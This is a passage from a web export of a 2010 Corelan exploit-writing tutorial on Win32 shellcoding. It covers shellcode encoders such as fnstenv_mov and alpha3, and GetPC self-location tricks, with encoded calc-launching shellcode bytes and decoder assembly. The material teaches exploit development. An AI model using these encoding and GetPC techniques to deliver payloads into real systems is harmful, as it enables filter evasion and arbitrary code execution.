#8b0000\">\\x56\\x46\\x51\\x4f\\x30\\x50\\x50\\x4d\\x68\\x46\\x72\\x4a\\x6b\\x4f\\x71<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x43\\x4c\\x4b\\x4f\\x4d\\x30\\x41\\x41<\/span>&quot;;<\/pre>\n<p>As you can see in this output, the biggest part of the shellcode consists of alphanumeric characters (we just have a couple of non-alphanumeric characters at the begin of the code)<\/p>\n<p>The main concept behind this encoder is to reproduce the original code (via a loop), by performing certain operations on these alphanumeric characters - pretty much like what shikata_ga_nai does, but using a different (limited) instruction set and different operations.<\/p>\n<p>&#160;<\/p>\n<h4>x86\/fnstenv_mov<\/h4>\n<p>Yet another encoder, but it will again produce something that has the same building blocks at other examples of encoded shellcode :<\/p>\n<ul>\n<li>getpc (see later) <\/li>\n<li>reproduce the original code (one way or another - this technique is specific to each encoder\/decoder) <\/li>\n<li>jump to the reproduced code and run it <\/li>\n<\/ul>\n<p>Example : WinExec \u201ccalc\u201d shellcode, encoded via fnstenv_mov<\/p>\n<p>Encoded shellcode looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">&quot;\\x6a\\x33\\x59\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x48&quot;\n&quot;\\x9d\\xfb\\x3b\\x83\\xeb\\xfc\\xe2\\xf4\\xb4\\x75\\x72\\x3b\\x48\\x9d&quot; \n&quot;\\x9b\\xb2\\xad\\xac\\x29\\x5f\\xc3\\xcf\\xcb\\xb0\\x1a\\x91\\x70\\x69&quot; \n&quot;\\x5c\\x16\\x89\\x13\\x47\\x2a\\xb1\\x1d\\x79\\x62\\xca\\xfb\\xe4\\xa1&quot; \n&quot;\\x9a\\x47\\x4a\\xb1\\xdb\\xfa\\x87\\x90\\xfa\\xfc\\xaa\\x6d\\xa9\\x6c&quot; \n&quot;\\xc3\\xcf\\xeb\\xb0\\x0a\\xa1\\xfa\\xeb\\xc3\\xdd\\x83\\xbe\\x88\\xe9&quot; \n&quot;\\xb1\\x3a\\x98\\xcd\\x70\\x73\\x50\\x16\\xa3\\x1b\\x49\\x4e\\x18\\x07&quot; \n&quot;\\x01\\x16\\xcf\\xb0\\x49\\x4b\\xca\\xc4\\x79\\x5d\\x57\\xfa\\x87\\x90&quot; \n&quot;\\xfa\\xfc\\x70\\x7d\\x8e\\xcf\\x4b\\xe0\\x03\\x00\\x35\\xb9\\x8e\\xd9&quot; \n&quot;\\x10\\x16\\xa3\\x1f\\x49\\x4e\\x9d\\xb0\\x44\\xd6\\x70\\x63\\x54\\x9c&quot; \n&quot;\\x28\\xb0\\x4c\\x16\\xfa\\xeb\\xc1\\xd9\\xdf\\x1f\\x13\\xc6\\x9a\\x62&quot; \n&quot;\\x12\\xcc\\x04\\xdb\\x10\\xc2\\xa1\\xb0\\x5a\\x76\\x7d\\x66\\x22\\x9c&quot; \n&quot;\\x76\\xbe\\xf1\\x9d\\xfb\\x3b\\x18\\xf5\\xca\\xb0\\x27\\x1a\\x04\\xee&quot; \n&quot;\\xf3\\x6d\\x4e\\x99\\x1e\\xf5\\x5d\\xae\\xf5\\x00\\x04\\xee\\x74\\x9b&quot; \n&quot;\\x87\\x31\\xc8\\x66\\x1b\\x4e\\x4d\\x26\\xbc\\x28\\x3a\\xf2\\x91\\x3b&quot; \n&quot;\\x1b\\x62\\x2e\\x58\\x29\\xf1\\x98\\x15\\x2d\\xe5\\x9e\\x3b\\x42\\x9d&quot; \n&quot;\\xfb\\x3b&quot;;<\/pre>\n<p>When looking at the code in the debugger, we see this<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image31.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb31.png\" width=\"596\" height=\"205\" \/><\/a><\/p>\n<ul>\n<li>PUSH 33 + POP ECX= put 33 in ECX. This value will be used as counter for the loop to reproduce the original shellcode. <\/li>\n<li>FLDZ + FSTENV : code used to determine it\u2019s own location in memory (pretty much the same as what was used in shikata_ga_nai) <\/li>\n<li>POP EBX : current address (result of last 2 instructions) is put in EBX <\/li>\n<li>XOR DWORD PTR DS:[EBX+13], 3BFB9D48 : XOR operation on the data at address that is relative (+13) to EBX. EBX was initialized in the previous instruction. This will produce 4 byte of original shellcode.&#160; When this XOR operation is run for the first time, the MOV AH,75 instruction (at 0x00402196) is changed to \u201cCLD\u201d <\/li>\n<li>SUB EBX, -4&#160; (subtract 4 from EBX so next time we will write the next 4 bytes) <\/li>\n<li>LOOPD SHORT : jump back to XOR operation and decrement ECX, as long as ECX is not zero <\/li>\n<\/ul>\n<p>The loop will effectively reproduce the shellcode.&#160; When ECX is zero (so when all code has been reproduced), we can see code (which uses MOV operations + XOR to get our desired values):<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image32.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb32.png\" width=\"586\" height=\"319\" \/><\/a><\/p>\n<p>First, a call to 0x00402225 is made (main function of the shellcode), where we can see a pointer to \u201ccalc.exe\u201d getting pushed onto the stack, and WinExec being located and executed.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image33.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb33.png\" width=\"590\" height=\"156\" \/><\/a><\/p>\n<p>Don\u2019t worry about how the shellcode works (\u201clocating winexec, etc\u201d) for now - you\u2019ll learn all about it in the next chapters.<\/p>\n<p>&#160;<\/p>\n<p>Take the time to look at what the various encoders have produced and how the decoding loops work.&#160; This knowledge may be essential if you need to tweak the code.<\/p>\n<p>&#160;<\/p>\n<h4>Encoders : skylined alpha3<\/h4>\n<p>Skylined recently released <a href=\"http:\/\/code.google.com\/p\/alpha3\/\" target=\"_blank\" rel=\"noopener\">the alpha3 encoding utility<\/a> (improved version of alpha2, which I have discussed in the unicode tutorial). Alpha3 will produce 100% alphanumeric code, and offers some other functionality that may come handy when writing shellcode\/building exploits.&#160; Definitely worth while checking out !<\/p>\n<p>Little example : let\u2019s assume you have written your unencoded shellcode into calc.bin, then you can use this command to convert it to latin-1 compatible shellcode :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">ALPHA3.cmd x86 latin-1 call --input=calc.bin &gt; calclatin.bin<\/pre>\n<p>Then convert it to bytecode :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">perl pveReadbin.pl calclatin.bin\nReading calclatin.bin\nRead 405 bytes\n\n&quot;<span style=\"color: #8b0000\">\\xe8\\xff\\xff\\xff\\xff\\xc3\\x59\\x68<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x66\\x66\\x66\\x66\\x6b\\x34\\x64\\x69<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x46\\x6b\\x44\\x71\\x6c\\x30\\x32\\x44<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x71\\x6d\\x30\\x44\\x31\\x43\\x75\\x45<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x45\\x35\\x6c\\x33\\x4e\\x33\\x67\\x33<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x7a\\x32\\x5a\\x32\\x77\\x34\\x53\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x6e\\x32\\x4c\\x31\\x33\\x34\\x5a\\x31<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x33\\x34\\x6c\\x34\\x47\\x30\\x63\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x54\\x33\\x75\\x30\\x31\\x33\\x57\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x71\\x37\\x6f\\x35\\x4f\\x32\\x7a\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x45\\x30\\x63\\x30\\x6a\\x33\\x77\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x32\\x32\\x77\\x30\\x6e\\x33\\x78\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x36\\x33\\x4f\\x30\\x73\\x30\\x65\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x6e\\x34\\x78\\x33\\x61\\x37\\x6f\\x33<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x38\\x34\\x4f\\x35\\x4d\\x30\\x61\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x67\\x33\\x56\\x33\\x49\\x33\\x6b\\x33<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x61\\x37\\x6c\\x32\\x41\\x30\\x72\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x41\\x38\\x6b\\x33\\x48\\x30\\x66\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x41\\x32\\x43\\x32\\x43\\x34\\x48\\x33<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x73\\x31\\x36\\x32\\x73\\x30\\x58\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x70\\x30\\x6e\\x31\\x6b\\x30\\x61\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x55\\x32\\x6b\\x30\\x55\\x32\\x6d\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x53\\x32\\x6f\\x30\\x58\\x37\\x4b\\x34<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x7a\\x34\\x47\\x31\\x36\\x33\\x36\\x35<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x4b\\x30\\x76\\x37\\x6c\\x32\\x6e\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x64\\x37\\x4b\\x38\\x4f\\x34\\x71\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x68\\x37\\x6f\\x30\\x6b\\x32\\x6c\\x31<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x6b\\x30\\x37\\x38\\x6b\\x34\\x49\\x31<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x70\\x30\\x33\\x33\\x58\\x35\\x4f\\x31<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x33\\x34\\x48\\x30\\x61\\x34\\x4d\\x33<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x72\\x32\\x41\\x34\\x73\\x31\\x37\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x77\\x30\\x6c\\x35\\x4b\\x32\\x43\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x6e\\x33\\x5a\\x30\\x66\\x30\\x46\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x4a\\x30\\x42\\x33\\x4e\\x33\\x53\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x79\\x30\\x6b\\x34\\x7a\\x30\\x6c\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x72\\x30\\x72\\x33\\x4b\\x35\\x4b\\x31<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x35\\x30\\x39\\x35\\x4b\\x30\\x5a\\x34<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x7a\\x30\\x6a\\x33\\x4e\\x30\\x50\\x38<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x4f\\x30\\x64\\x33\\x62\\x34\\x57\\x35<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x6c\\x33\\x41\\x33\\x62\\x32\\x79\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x5a\\x34\\x52\\x33\\x6d\\x30\\x62\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x31\\x35\\x6f\\x33\\x4e\\x34\\x7a\\x38<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x4b\\x34\\x45\\x38\\x4b\\x31\\x4c\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x4d\\x32\\x72\\x37\\x4b\\x30\\x43\\x38<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x6b\\x33\\x50\\x30\\x6a\\x30\\x52\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x36\\x34\\x47\\x30\\x54\\x33\\x75\\x37<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x6c\\x32\\x4f\\x35\\x4c\\x32\\x71\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x44\\x30\\x4e\\x33\\x4f\\x33\\x6a\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x34\\x33\\x73\\x30\\x36\\x34\\x47\\x34<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x79\\x32\\x4f\\x32\\x76\\x30\\x70\\x30<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x50\\x33\\x38\\x30\\x30<\/span>&quot;;<\/pre>\n<p>&#160;<\/p>\n<h4>Encoders : write one yourself<\/h4>\n<p>I could probably dedicate an entire document on using and writing encoders (which is out of scope for now).&#160; You can, however, use this excellent <a href=\"http:\/\/www.uninformed.org\/?v=5&amp;a=3&amp;t=sumry\" target=\"_blank\" rel=\"noopener\">uninformed<\/a> paper, written by skape, on how to implement a custom x86 encoder.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>Find yourself : GetPC<\/h3>\n<p>If you paid attention when we reviewed shikata_ga_nai and fstenv_mov, you may have wondered why the first set of instructions, apparently retrieving the current location of the code (itself) in memory, were used and\/or needed. The idea behind this is that the decoder may need to have the absolute base address, the beginning of the payload or the beginning of the decoder, available in a register, so the decoder would be<\/p>\n<ul>\n<li>fully relocatable in memory (so it can find itself regardless of where it is located in memory) <\/li>\n<li>able to reference the decoder, or the top of the encoded shellcode, or a function in the shellcode by using base_address of the decoder code + offset...&#160;&#160; instead of having to jump to an address using bytecode that contains null bytes. <\/li>\n<\/ul>\n<p>This technique is often called \u201cGetPC\u201d or \u201cGet Program Counter\u201d, and there are a number of ways of getting PC :<\/p>\n<p>&#160;<\/p>\n<h4>CALL $+5<\/h4>\n<p>By running CALL $+5, followed by a POP reg, you will put the absolute address of where this POP instruction is located in reg. The only issue we have with this code is that it contains null bytes, so it may not be usable in a lot of cases.<\/p>\n<p>&#160;<\/p>\n<h4>CALL label + pop (forward call)<\/h4>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">CALL geteip\ngeteip:\npop eax<\/pre>\n<p>This will put the absolute memory address of pop eax into eax. The bytecode equivalent of this code also contains null bytes, so it may not be usable too in a lot of cases.<\/p>\n<p>&#160;<\/p>\n<h4>CALL $+4 <\/h4>\n<p>This is the technique used in the ALPHA3 decoded example (see above) and is described here : http:\/\/skypher.com\/wiki\/index.php\/Hacking\/Shellcode\/GetPC<\/p>\n<p>3 instructions are used to retrieve an absolute address that can be used further down the shellcode<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">CALL $+4\nRET\n<span style=\"color: #0000ff\">POP<\/span> ECX<\/pre>\n<ul>\n<li>\\xe8\\xff\\xff\\xff\\xff : call + 4 <\/li>\n<li>\\xc3 : ret <\/li>\n<li>\\x59 : pop ecx <\/li>\n<\/ul>\n<p>So basically, the call + 4 will jump to the last byte of the call instruction itself :<\/p>\n<p>\\xe8\\xff\\xff\\xff\\xff =&gt; will jump to the the last \\xff (putting a pointer to that location on the stack). Together with \\xc3, this becomes&#160; &quot;INC EBX&quot; (\\xff\\xc3), which acts as a nop here.&#160; Then, the pop ecx will retrieve the pointer from the stack.<\/p>\n<p>As you can see, this code is 7 bytes long and does not have null bytes.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h4>FSTENV<\/h4>\n<p>When we discussed the internals of the shikata_ga_nai &amp; fstenv_mov encoders, we noticed a neat trick to get the base location of the shellcode that is based on FPU instructions.&#160; The technique is based on this concept :<\/p>\n<p>Execute any FPU (Floating Point) instruction at the top of the code. You can get a list of FPU instructions in the <a href=\"http:\/\/www.intel.com\/Assets\/PDF\/manual\/253665.pdf\" target=\"_blank\" rel=\"noopener\">Intel architecture manual volume 1<\/a>, on page 404<\/p>\n<p>then execute \u201cFSTENV PTR SS: [ESP-C]\u201d<\/p>\n<p>The combination of these 2 instructions will result in getting the address of the first FPU instruction (so if that one is the first instruction of the code, you\u2019ll have the base address of the code) and writing it on the stack. In fact, the FSTENV will store that state of the floating point chip after issuing the first instruction. The address of that first instruction is stored at offset 0xC. to&#160; A simple&#160; POP reg will put the address of the first FPU instruction in a register.&#160; And the nice thing about this code is that it does not contain null bytes. Very neat trick indeed !<\/p>\n<p>Example :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[BITS 32]\nFLDPI\nFSTENV [ESP-0xC]\nPOP EBX<\/pre>\n<p>bytecode :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">&quot;\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x5b&quot;;<\/pre>\n<p>(8 bytes, no null bytes)<\/p>\n<p>&#160;<\/p>\n<h4>Backward call<\/h4>\n<p>Another possible implementation of getting PC and make it point to the start of the shellcode\/decoder (and make a jump to the code based on the address) is this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[BITS 32]\njmp short corelan\ngeteip:\n  pop esi\n  call esi      ;this will jump to decoder\ncorelan:\n  call geteip\n  decoder:      \n    ; decoder goes here\n\n  shellcode:\n    ; encoded shellcode goes here<\/pre>\n<p>(good job Ricardo ! - \u201cCorelan GetPC :-)\u201d - and this one does not use null bytes either)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Over the last couple of months, I have written a set of tutorials about building exploits that target the Windows stack. One of the primary goals of anyone writing an exploit is to modify the normal execution flow of the application and trigger the application to run arbitrary code\u2026 code that is injected by the &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[244,127],"tags":[3736,3733,2157,1977,1876,1865,1836,1834,1824],"class_list":["post-2830","post","type-post","status-publish","format-standard","hentry","category-exploit-writing-tutorials","category-security","tag-encoder-decoder","tag-exploit-development-tutorial","tag-peb","tag-pvefindaddr","tag-perl","tag-seh","tag-stack","tag-shellcode","tag-metasploit"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Exploit writing tutorial part 9 : Introduction to Win32 shellcoding - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Over the last couple of months, I have written a set of tutorials about building exploits that target the Windows stack. One of the primary goals of anyone writing an exploit is to modify the normal execution flow of the application and trigger the application to run arbitrary code\u2026 code that is injected by the &hellip; Continue reading &quot;Exploit writing tutorial part 9 : Introduction to Win32 shellcoding&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2010-02-25T16:21:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb.png\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding\",\"datePublished\":\"2010-02-25T16:21:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/\"},\"wordCount\":8705,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2010\\\/02\\\/image_thumb.png\",\"keywords\":[\"encoder decoder\",\"exploit development tutorial\",\"peb\",\"pvefindaddr\",\"perl\",\"seh\",\"stack\",\"shellcode\",\"metasploit\"],\"articleSection\":[\"Exploit Writing Tutorials\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/\",\"name\":\"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2010\\\/02\\\/image_thumb.png\",\"datePublished\":\"2010-02-25T16:21:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2010\\\/02\\\/image_thumb.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2010\\\/02\\\/image_thumb.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/02\\\/25\\\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity 